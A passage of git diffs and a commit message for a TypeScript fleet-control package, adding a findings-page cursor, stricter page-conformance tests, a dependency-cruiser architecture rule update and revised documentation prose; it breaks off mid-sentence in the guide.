`fleet-audit-state.ts`, `fleet-audit-advance.ts`, `fleet-inventory-state.ts`, `fleet-inventory-advance.ts`, `d1-fleet-inventory-run-store.ts`, `fleet-migration-state.ts`: the bounded-operation family (`fleet-operation-state.ts` declares the provider-neutral `FleetOperationStore` and `FleetOperationLease` ports plus the staged-row and intake codecs every bounded operation shares, and `d1-fleet-operation-store.ts` implements them over the Fleet D1 binding; `fleet-audit-state.ts` and `fleet-inventory-state.ts` hold the per-operation progress and stage codecs, `fleet-audit-advance.ts` and `fleet-inventory-advance.ts` are the request-bounded audit and account-inventory coordinators over those ports, `d1-fleet-inventory-run-store.ts` is the inventory generation store, and `fleet-migration-state.ts` holds the migration codecs the coordinator has yet to land) - `workers/`: the platform's own deployed Workers, published as separate export entries ```bash diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 4b33bc1c..3a7d25c3 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -116,8 +116,10 @@ export interface AdvanceFleetAuditOptions { * Sampled at most once per start call, immediately before `startOperation`. * The sample must be a non-negative safe integer representable by `Date`. * Only a `created` outcome persists the sample as the frozen `auditTimeMs`; - * adopted outcomes discard it, and continue calls never sample it. Defaults - * to `Date.now`. + * adopted outcomes discard it, and continue calls never sample it. A + * `created` outcome also stamps that run record's `updatedAt` from this + * sample; it is the only durable write in this module that does not take + * `updatedAt` from wall clock. Defaults to `Date.now`. */ readonly auditClock?: () => number; /** Feeds only the re-arm's authority clock (§6.1); default `Date.now`. */ @@ -1228,15 +1230,18 @@ export async function advanceFleetAudit( * findings come back in ordinal order whatever order the store's page * arrived in (the port lets a page arrive unordered). * - * A caller pages the whole set with - * `afterOrdinal = (afterOrdinal ?? -1) + findings.length` until `done`. That - * idiom rests on two assumptions with two different owners. Finding ordinals - * are contiguous from zero because the WRITE PATH enforces it, not because - * the read port promises it: this coordinator numbers each finding row - * `findingCount + index`, and each commit that advances `findingCount` - * passes `expectedRowWatermarks.finding` at the new count — which - * `FleetOperationLease.commitProgress` defines as a dense-prefix assertion - * over the first N ordinals, so it holds whatever order the rows landed in. + * A caller pages the whole set by passing each result's `nextAfterOrdinal` + * back as `afterOrdinal` until `done`. That field is the page's greatest + * ordinal, read off the returned rows rather than recomputed by the caller + * from a prose formula, and it is absent only on an empty page — which this + * reader accepts only when `done` is set. The idiom rests on two guarantees + * with two different owners. Finding ordinals are contiguous from zero because + * the WRITE PATH enforces it, not because the read port promises it: this + * coordinator numbers each finding row `findingCount + index`, and each + * commit that advances `findingCount` passes `expectedRowWatermarks.finding` + * at the new count — which `FleetOperationLease.commitProgress` defines as a + * dense-prefix assertion over the first N ordinals, so it holds whatever + * order the rows landed in. * Both routes take it: the per-record chunk commits its finding rows inline, * the global stage pre-stages them through `stageRows` and commits the * watermark after. That a page holds the smallest qualifying ordinals IS the @@ -1260,7 +1265,13 @@ export async function readFleetAuditFindingsPage( afterOrdinal?: number; limit: number; }>, -): Promise> { +): Promise< + Readonly<{ + findings: readonly DriftFinding[]; + done: boolean; + nextAfterOrdinal?: number; + }> +> { const { operationId, afterOrdinal, limit } = input; const run = await store.readOperationById(operationId); if (!run) { @@ -1286,9 +1297,11 @@ export async function readFleetAuditFindingsPage( for (const [index, row] of sortedRows.entries()) { if (row.ordinal !== firstOrdinal + index) return malformed(); } + const nextAfterOrdinal = sortedRows.at(-1)?.ordinal; return { findings: sortedRows.map((row) => driftFindingRowFromUnknown(row.payload)), done: page.done, + ...(nextAfterOrdinal === undefined ? {} : { nextAfterOrdinal }), }; } diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 830fb8f9..346e59cb 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -1214,6 +1214,36 @@ async function driveToTerminal( throw new Error('driveToTerminal exceeded its iteration cap'); } +type PendingFleetAuditAdvance = Extract< + FleetAuditAdvanceResult, + { status: 'pending' } +>; + +/** Drives `advanceFleetAudit` with `continue` until `stage.step` is `step`. */ +async function driveToStage( + harness: Harness, + firstToken: unknown, + step: FleetAuditStage['step'], + cap = 200, +): Promise { + let token = firstToken; + for (let i = 0; i < cap; i++) { + const result = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + if (result.status !== 'pending') { + throw new Error( + `driveToStage reached ${result.status} before the ${step} stage`, + ); + } + if (result.stage.step === step) return result; + token = result.token; + } + throw new Error( + `driveToStage exceeded its ${cap}-iteration cap before the ${step} stage`, + ); +} + async function startAndDrive( harness: Harness, operationId: string, @@ -1882,16 +1912,8 @@ describe('advanceFleetAudit', () => { ); expect(started.status).toBe('pending'); if (started.status !== 'pending') throw new Error('unreachable'); - let token = started.token; - let stage: FleetAuditStage = started.stage; - while (stage.step !== 'per-record') { - const result = await advanceFleetAudit( - harness.baseOptions({ kind: 'continue', token }), - ); - if (result.status !== 'pending') throw new Error('unexpected terminal'); - token = result.token; - stage = result.stage; - } + let token = (await driveToStage(harness, started.token, 'per-record')) + .token; for (const [tenant, expectedRearmCalls] of [ ['alice', 1], ['bob', 0], @@ -1953,19 +1975,17 @@ describe('advanceFleetAudit', () => { if (started.status !== 'pending') throw new Error('unreachable'); expect(authorityClockCalls).toBe(0); clock = laterClock; - let token = started.token; - let stage = started.stage; - while (stage.step !== 'per-record') { - const advanced = await advanceFleetAudit( - harness.baseOptions({ kind: 'continue', token }), - ); - expect(authorityClockCalls).toBe(0); - if (advanced.status !== 'pending') throw new Error('unexpected terminal'); - token = advanced.token; - stage = advanced.stage; - } + const atPerRecord = await driveToStage( + harness, + started.token, + 'per-record', + ); + // `authorityClockCalls` only ever increments, so zero once the global + // stages are behind us is exactly the per-iteration assertion the drive + // loop this call replaced made. + expect(authorityClockCalls).toBe(0); const staleRecord = await advanceFleetAudit( - harness.baseOptions({ kind: 'continue', token }), + harness.baseOptions({ kind: 'continue', token: atPerRecord.token }), ); expect(authorityClockCalls).toBe(0); if (staleRecord.status !== 'pending') @@ -2450,7 +2470,13 @@ describe('advanceFleetAudit', () => { ).resolves.toEqual(ascending); const paged: (typeof ascending.findings)[number][] = []; let afterOrdinal: number | undefined; - for (;;) { + // Feeding `nextAfterOrdinal` straight back is the documented idiom, so the + // cursor the reader publishes — not a formula this loop recomputes — is + // what has to advance. A cursor that stops advancing would spin this loop + // forever, so the page count is capped: every non-final page carries at + // least one finding, so an honest read needs at most one page per finding. + // Exhausting the cap leaves `paged` holding repeats and fails the compare. + for (let page = 0; page <= ascending.findings.length; page += 1) { const next = await readFleetAuditFindingsPage(reversedStore, { operationId: orderedOperationId, limit: 2, @@ -2458,11 +2484,125 @@ describe('advanceFleetAudit', () => { }); paged.push(...next.findings); if (next.done) break; - afterOrdinal = (afterOrdinal ?? -1) + next.findings.length; + afterOrdinal = next.nextAfterOrdinal; } expect(paged).toEqual(ascending.findings); }); + it('findings page: the reader verifies page conformance instead of trusting the store, and returns the next cursor off the page rows', async () => { + const control = baseRecord('controlnb1'); + const missingA = baseRecord('missingnb1a'); + const missingB = baseRecord('missingnb1b'); + const records = [control, missingA, missingB]; + const harness = buildHarness(records, inventoryFor([control])); + const operationId = uuidFor(90); + const complete = await startAndDrive(harness, operationId, records); + expect(complete.status).toBe('complete'); + + const conforming = await readFleetAuditFindingsPage( + harness.operationStore, + { operationId, limit: 1_000 }, + ); + expect(conforming.done).toBe(true); + expect(conforming.findings.length).toBeGreaterThanOrEqual(3); + // The cursor is read off the page's own rows, so a caller never recomputes + // it from the prose formula. A full first page ends at length - 1. + expect(conforming.nextAfterOrdinal).toBe(conforming.findings.length - 1); + + // Each case below returns a page the port forbids; every one must reach + // `malformed()` rather than a truncated, duplicated, or non-terminating read. + const nonConforming = ( + transform: ( + rows: readonly FleetOperationStagedRow[], + ) => readonly FleetOperationStagedRow[], + done?: boolean, + ) => + new Proxy(harness.operationStore, { + get(target, property, receiver) { + if (property === 'readOperationRowsPage') { + return async ( + input: Parameters< + FleetOperationStore['readOperationRowsPage'] + >[0], + ) => { + const rowsPage = await target.readOperationRowsPage(input); + return { + ...rowsPage, + rows: transform(rowsPage.rows), + done: done ?? rowsPage.done, + }; + }; + } + const value = Reflect.get(target, property, receiver); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const malformedMessage = 'fleet operation state is malformed'; + + // EMPTY-PAGE GUARD: an empty page while the store still claims more rows is + // the condition `readAllFleetOperationRows` already refuses. Without this + // guard the published next-cursor loop spins forever against such a store. + await expect( + readFleetAuditFindingsPage( + nonConforming(() => [], false), + { + operationId, + limit: 1_000, + }, + ), + ).rejects.toThrow(malformedMessage); + + // CONTIGUOUS-RUN GUARD, gap: ordinal 1 withheld. + await expect( + readFleetAuditFindingsPage( + nonConforming((rows) => rows.filter((row) => row.ordinal !== 1)), + { operationId, limit: 1_000 }, + ), + ).rejects.toThrow(malformedMessage); + + // CONTIGUOUS-RUN GUARD, duplicate: a repeated ordinal keeps the page length + // right, so only the run assertion catches it. + await expect( + readFleetAuditFindingsPage( + nonConforming((rows) => [...rows.slice(0, -1), ...rows.slice(0, 1)]), + { operationId, limit: 1_000 }, + ), + ).rejects.toThrow(malformedMessage); + + // CONTIGUOUS-RUN GUARD, not the smallest qualifying ordinals: the store + // skipped ordinal 0 instead of returning it first. + await expect( + readFleetAuditFindingsPage( + nonConforming((rows) => rows.filter((row) => row.ordinal !== 0)), + { operationId, limit: 1_000 }, + ), + ).rejects.toThrow(malformedMessage); + + // CONTIGUOUS-RUN GUARD, row at or below the exclusive cursor. + await expect( + readFleetAuditFindingsPage( + nonConforming((rows) => + rows.map((row) => ({ ...row, ordinal: row.ordinal - 1 })), + ), + { operationId, afterOrdinal: 0, limit: 1_000 }, + ), + ).rejects.toThrow(malformedMessage); + + // A conforming empty page is legal only because it is terminal, and it + // carries no cursor: that absence is why the field must stay optional. + const emptyHarness = buildHarness([], emptyInventory()); + const emptyOperationId = uuidFor(91); + const emptyRun = await startAndDrive(emptyHarness, emptyOperationId, []); + expect(emptyRun.status).toBe('complete'); + const emptyPage = await readFleetAuditFindingsPage( + emptyHarness.operationStore, + { operationId: emptyOperationId, limit: 10 }, + ); + expect(emptyPage.findings).toEqual([]); + expect(emptyPage.done).toBe(true); + expect(emptyPage.nextAfterOrdinal).toBeUndefined(); + }); + it('second-world drain-vs-bounded equivalence modulo the §5.5 difference set', async () => { const control = baseRecord('control2'); const missing = baseRecord('missing2'); @@ -4076,7 +4216,7 @@ describe('advanceFleetAudit', () => { expect(drainFindings.length).toBeGreaterThan(0); } const operationId = uuidFor(80 + index); - let result = await advanceFleetAudit( + const started = await advanceFleetAudit( harness.baseOptions({ kind: 'start', operationId, @@ -4084,16 +4224,9 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - for (let call = 0; call < 50; call += 1) { - if (result.status !== 'pending' || result.stage.step === 'per-record') { - break; - } - result = await advanceFleetAudit( - harness.baseOptions({ kind: 'continue', token: result.token }), - ); - } - expect(result.status).toBe('pending'); - if (result.status !== 'pending') throw new Error('unreachable'); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + const result = await driveToStage(harness, started.token, 'per-record'); expect(result.stage).toEqual({ step: 'per-record', recordOrdinal: 0 }); const codecCallsBefore = harness.operationStore.stagedRowCodecCalls; diff --git a/scripts/architecture-fixtures/operation-advance-imports-provider.ts b/scripts/architecture-fixtures/operation-advance-imports-provider.ts index 6129038f..68d67b41 100644 --- a/scripts/architecture-fixtures/operation-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/operation-advance-imports-provider.ts @@ -1,2 +1,13 @@ +// The first import is the violating edge: this module is in the rule's +// from-set, so importing a concrete provider puts one in its reachable graph +// on its own. The second adds the real coordinator's own graph, so the fixture +// stands for the shape the rule exists to forbid - a bounded coordinator that +// ALSO reaches a concrete transport - rather than for a bare provider import. +// The runner cruises this fixture together with the real +// fleet-audit-advance.ts entry and asserts that no module the real coordinator +// reaches at runtime matches this rule's own to-set, enumerated from the rule +// itself. That assertion is load-bearing: this fixture's own violations would +// otherwise mask a new one from the coordinator, because the runner's +// violation-level checks test only rule names and a single to-target. import '../../packages/fleet-control/src/cloudflare-client.js'; import '../../packages/fleet-control/src/fleet-audit-advance.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 290d04cf..45e04486 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -26,6 +26,8 @@ const switchProvider = const databaseExportStore = 'packages/fleet-control/src/database-export-store.ts'; const strictPlainData = 'packages/fleet-control/src/strict-plain-data.ts'; +const auditAdvance = 'packages/fleet-control/src/fleet-audit-advance.ts'; +const cloudflareClient = 'packages/fleet-control/src/cloudflare-client.ts'; function runtimeAdjacency(report) { return new Map( @@ -171,6 +173,12 @@ for (const [ruleName, fixture] of Object.entries(controls)) { backendSwitch, ]; } + if ( + ruleName === + 'fleet-control-operation-advance-avoids-concrete-transports' + ) { + return [fixture, auditAdvance]; + } return [fixture]; })(); const args = [ @@ -295,6 +303,36 @@ for (const [ruleName, fixture] of Object.entries(controls)) { ); } } + if ( + ruleName === 'fleet-control-operation-advance-avoids-concrete-transports' + ) { + assert.deepEqual([...new Set(violations)], [ruleName]); + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && + violation.to === cloudflareClient, + ), + 'operation advance control did not reject the concrete provider client', + ); + const adjacency = runtimeAdjacency(report); + // Exhaustive over the rule's own to-set rather than over one member, so + // a real-module reach into any other forbidden target cannot hide behind + // this fixture's violations under the same rule name. + const forbidden = new RegExp( + [...config.forbidden, ...config.required].find( + (rule) => rule.name === ruleName, + ).to.path, + ); + assert.deepEqual( + reachableFrom(adjacency, auditAdvance).filter((module) => + forbidden.test(module), + ), + [], + 'the real operation-advance coordinator reached a forbidden target', + ); + assert.equal(reaches(adjacency, fixture, cloudflareClient), true); + } if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { for (const target of ['cloudflare', 'crypto']) { assert.ok( From 75bb706e0e7b94f3edcc49b3eb6afbaceabb502b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 3 Sep 2026 21:42:34 +0400 Subject: [PATCH 065/169] refactor(fleet-control): close the R4-B.2 N-B.1 nit ledger Applies the pending-nit ledger raised by the four review lanes that cleared 9613fb9 -- 27 items after deduplication across three rounds, plus three the fixer surfaced while applying them: 28 applied, one not applicable, one subsumed by another. Polish, with the exceptions noted below. Most of the ledger is prose accuracy: a threat-model sentence that called caller-supplied functions "the one input the intake does not snapshot" when the three store ports and maxItemsPerCall are read per call too; a guide sentence that said the audit clock is sampled "after the store read" when an explicit generation skips that read; a row-count claim argued from caps rather than sizes; an arithmetic identity presented as an inference; and an aggregate formula whose summation variable named sources while the sentence beside it said stages. Two items change a type and a control, neither changing runtime behaviour: - readFleetAuditFindingsPage() now resolves to a done-discriminated union: nextAfterOrdinal is required on a page that is not done and optional on the final page. For any store that honours its port, the emitted objects are identical to before; every caller compiles unchanged, and index.ts is byte-identical; the guide, the changeset, and the JSDoc describe the same shape. The JSDoc also states that a short final page is trusted as final -- the reader takes done from the store and does not compare against the run's own finding count. - The positive control for the operation-advance rule now walks the full adjacency, type-only edges included, exactly as the rule does, so the fixture comment carries no runtime-scope caveat. The map that replaced the runner's if-chain gains a guard that every key names a rule in the config, so a misspelled key fails loudly instead of degrading a control to fixture-only. The dependency-cruiser rule's to-set gains the two direct-API plain-Worker modules for symmetry with the other provisioning backends; both were already covered transitively, and the violation count is unchanged. The rule's comment drops its prose enumeration of the to-set -- the regex is the source of truth and the runner already compiles it from the config. The findings-page paging loop throws a named error on cap exhaustion instead of failing on an array diff; driveToStage and driveToTerminal both document that they advance once before inspecting, and driveToStage states what its cap turns on. Verification: package typecheck, Biome, 187 of 187 tests across five files, both frozen baselines matched (audit 47 findings / 20 kinds / 86 operations; drain 53 / 20 / 5 / 6), dependency-cruiser clean over 493 modules and 1,697 dependencies with all positive controls passing, and docs:check over 55 Markdown files. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .changeset/bounded-fleet-audit.md | 4 +- .dependency-cruiser.cjs | 4 +- docs/fleet-control.md | 6 +- docs/security-threat-model.md | 4 +- .../fleet-control/src/fleet-audit-advance.ts | 53 ++++++--- .../test/fleet-audit-advance.test.ts | 72 +++++++++--- .../operation-advance-imports-provider.ts | 5 +- .../architecture-positive-controls.test.mjs | 103 ++++++++++-------- 8 files changed, 160 insertions(+), 91 deletions(-) diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md index befb34c7..46144f36 100644 --- a/.changeset/bounded-fleet-audit.md +++ b/.changeset/bounded-fleet-audit.md @@ -10,6 +10,6 @@ Add a bounded, resumable fleet drift audit API with a durable, provider-neutral - Every finding or fact must fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the codec's depth and node bounds. The coordinator detects an excess before the store sees the row, fails the whole operation with the durable `emission-bound-exceeded` reason, and releases the pin. One record's whole per-call emission set (its findings plus the cross-record ownership facts it newly claims) must also fit inside the one guarded D1 batch its `per-record` call commits — a ceiling of 99 rows: 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted, while 100 or more emitted rows fail. A record whose live inspection alone would emit 100 rows fails with the same reason rather than emitting a partial finding set. - The bounded path differs from the drain in exactly four classes: every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic; any unsafe finding detail, composed or passed through, becomes the fixed withheld-detail fallback; concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth, with the bounded path's typically older snapshot making both more likely; and `emission-bound-exceeded` (from the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart, while `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain under identical frozen worlds and clocks. The four-class claim also assumes `backendFor`, `specFor`, and `maintenanceSecretFor` are functions of record *value*: the bounded path hands them canonical snapshots rebuilt from the staged rows, never the caller's own objects, so an identity- or prototype-keyed resolver diverges from the drain in a fifth way this list does not cover. - Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. -- Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows, so about half of that call was re-parsing and the rest was its per-call fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. +- Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. -The new `readFleetAuditFindingsPage()` resolves to `{findings, done, nextAfterOrdinal?}`. No existing public export changes shape, and the Worker subpath is unchanged. +The new `readFleetAuditFindingsPage()` resolves to a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 48802565..0cd570ad 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -287,7 +287,7 @@ module.exports = { name: 'fleet-control-operation-advance-avoids-concrete-transports', severity: 'error', comment: - 'The bounded audit coordinator imports eight modules directly, all provider-neutral: operation state, audit state, the deployment context, the sibling bounded inventory coordinator, the root switch coordinator (for the structural FleetRecord ingress it re-parses staged rows through), the lifecycle engine (for the stage functions it extracts), and - type-only, though tsPreCompilationDeps keeps both edges in the graph this rule walks - the inventory run-store port and the shared record and port types. This rule keeps every concrete transport it names out of the whole graph reachable behind those eight. fleet-migration-advance.ts is pre-registered in the from-set for the migration coordinator R4-C.2 will add; it does not exist yet, so only the audit half is exercised today. What the to-set forbids is exactly what it enumerates - the Cloudflare API client and its two provider leaves, the Cloudflare API rate coordinator, the Workers for Platforms backend, its switch provider, the shared ordinary-Worker core, the Cloudflare inventory and attachment-scan engines, the Wrangler runner and its two adapters, the export file-name helper, the filesystem and R2 export stores, the root barrel, and workers/. Four modules the coordinator already reaches are deliberately absent, each for its own reason: backend-switch.ts and fleet.ts are two of the eight direct imports above; provision.ts is reachable only through fleet.ts, so forbidding it would forbid fleet.ts by proxy; and database-export-store.ts, reachable under backend-switch.ts through the decommission coordinators, declares the DurableDatabaseExportStore port that both forbidden export stores implement, so forbidding it would invert the principle this rule rests on as well as fail by that same proxy argument. The two top-level npm-cloudflare patterns the sibling transport-neutral rules carry are dropped for a reason unrelated to those four: the reachable provider-binding-inventory.ts leaf holds a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction.', + 'The bounded audit coordinator imports eight modules directly, all provider-neutral. Six at runtime: operation state, audit state, the deployment context, the sibling bounded inventory coordinator, the root switch coordinator (for the structural FleetRecord ingress it re-parses staged rows through), and the lifecycle engine (for the stage functions it extracts). Two type-only, which tsPreCompilationDeps keeps in the graph this rule walks: the inventory run-store port, and the shared record and port types. This rule keeps every concrete transport its to-set names out of the whole graph reachable behind those eight. fleet-migration-advance.ts is pre-registered in the from-set for the migration coordinator R4-C.2 will add; it does not exist yet, so only the audit half is exercised today. Four of the reachable modules a reader might expect in the to-set are deliberately absent, each for its own reason: backend-switch.ts and fleet.ts are two of the eight direct imports above; provision.ts is reachable only through fleet.ts, so forbidding it would forbid fleet.ts by proxy; and database-export-store.ts, reachable under backend-switch.ts through the decommission coordinators, declares the DurableDatabaseExportStore port that both forbidden export stores implement, so forbidding it would invert the principle this rule rests on as well as fail by that same proxy argument. The two top-level npm-cloudflare patterns the sibling transport-neutral rules carry are dropped for a reason unrelated to those four: the reachable provider-binding-inventory.ts leaf holds a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction.', from: { path: [ '^packages/fleet-control/src/(?:fleet-audit-advance|fleet-migration-advance)\\.ts$', @@ -295,7 +295,7 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|cloudflare-rate-coordinator|workers-for-platforms-backend-switch-provider|workers-for-platforms-backend|plain-worker-backend|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|index)\\.ts$|^packages/fleet-control/src/workers/)', + path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|cloudflare-rate-coordinator|workers-for-platforms-backend-switch-provider|workers-for-platforms-backend|plain-worker-backend|cloudflare-api-plain-worker-backend|wrangler-plain-worker-provisioning-api|cloudflare-api-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|index)\\.ts$|^packages/fleet-control/src/workers/)', reachable: true, }, }, diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 3014e33e..e77fc2ac 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -221,7 +221,7 @@ An audit start pins one finalized R3 inventory generation before staging anythin One call performs at most one bounded stage chunk: every global stage processes up to `maxItemsPerCall` items (1 through 2,000, default 500), and the `per-record` stage processes at most one Fleet record: at most one resolver triple, at most one provider inspection, and at most one guarded maintenance re-arm. A stale token returns the current durable result with no resolver, generation, or provider work, while a future token, an unknown operation, and a foreign-kind token all fail closed. -Two clocks feed the bounded path. The optional `auditClock` (default `Date.now`) is sampled at most once per start call, after every pre-lease refusal, after the operation probe, and — on the create branch, where the probe found nothing — after the store read that resolves the generation to pin. Only a start that creates the operation persists the sample as `auditTimeMs`; adopted starts discard it. That persisted value drives every staleness comparison for the life of the operation, so a long-running operation does not report a record more stale than it was when the audit began. It also stamps the created run record's own `updatedAt`, the one durable write in the bounded path taken from `auditClock`; every later progress, failure, and finalize write stamps `updatedAt` from wall clock. The optional `authorityClock` (default `Date.now`) feeds only the maintenance re-arm's authority timestamp, so a first-time `authorizedAt` is stamped with call-time wall clock rather than the frozen audit time. +Two clocks feed the bounded path. The optional `auditClock` (default `Date.now`) is sampled at most once per start call, after every pre-lease refusal, after the operation probe, and — on the create branch, where the probe found nothing — after the generation to pin is resolved, which reads the inventory store only when the caller passed no explicit `generation`. Only a start that creates the operation persists the sample as `auditTimeMs`; adopted starts discard it. That persisted value drives every staleness comparison for the life of the operation, so a long-running operation does not report a record more stale than it was when the audit began. It also stamps the created run record's own `updatedAt`, the one durable write in the bounded path taken from `auditClock`; every later progress, failure, and finalize write stamps `updatedAt` from wall clock. The optional `authorityClock` (default `Date.now`) feeds only the maintenance re-arm's authority timestamp, so a first-time `authorizedAt` is stamped with call-time wall clock rather than the frozen audit time. Durable finding rows never carry raw diagnostic bytes. The bounded engine composes each of the six sanitized template families — the five `String(error)` sites (the three resolvers, the inspection, and the re-arm) and the segmented maintenance-duty error — from a fixed template alone; `auditFleetDrift()`'s exact byte-for-byte composition remains call-local and unpersisted. Any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails the non-throwing safety gate (length, control bytes, or a credential-shaped substring) persists a fixed withheld-detail fallback instead of aborting the operation. @@ -229,9 +229,9 @@ Every finding and fact passes the same shape, vocabulary, and byte-bound codec b Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted; 100 or more emitted rows fail. A record whose live inspection alone would emit 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — therefore fails the whole operation with the same reason; the operation never emits a partial finding set for one record. -Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in, and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call; it is absent only on an empty page, which is legal only when `done` is set. Page until `done`. Two guarantees stand behind that cursor, and they have different owners. Finding ordinals are contiguous from zero because the write path enforces it, not because the read port promises it: every commit that advances the finding count asserts a dense prefix over the first N finding ordinals. That a page holds the smallest qualifying ordinals is instead the conformance requirement `FleetOperationStore.readOperationRowsPage` places on the store. The reader verifies both rather than trusting them — a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed` — so a non-conforming store cannot spin the paging loop forever. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. +Read the findings back page by page with `readFleetAuditFindingsPage(store, 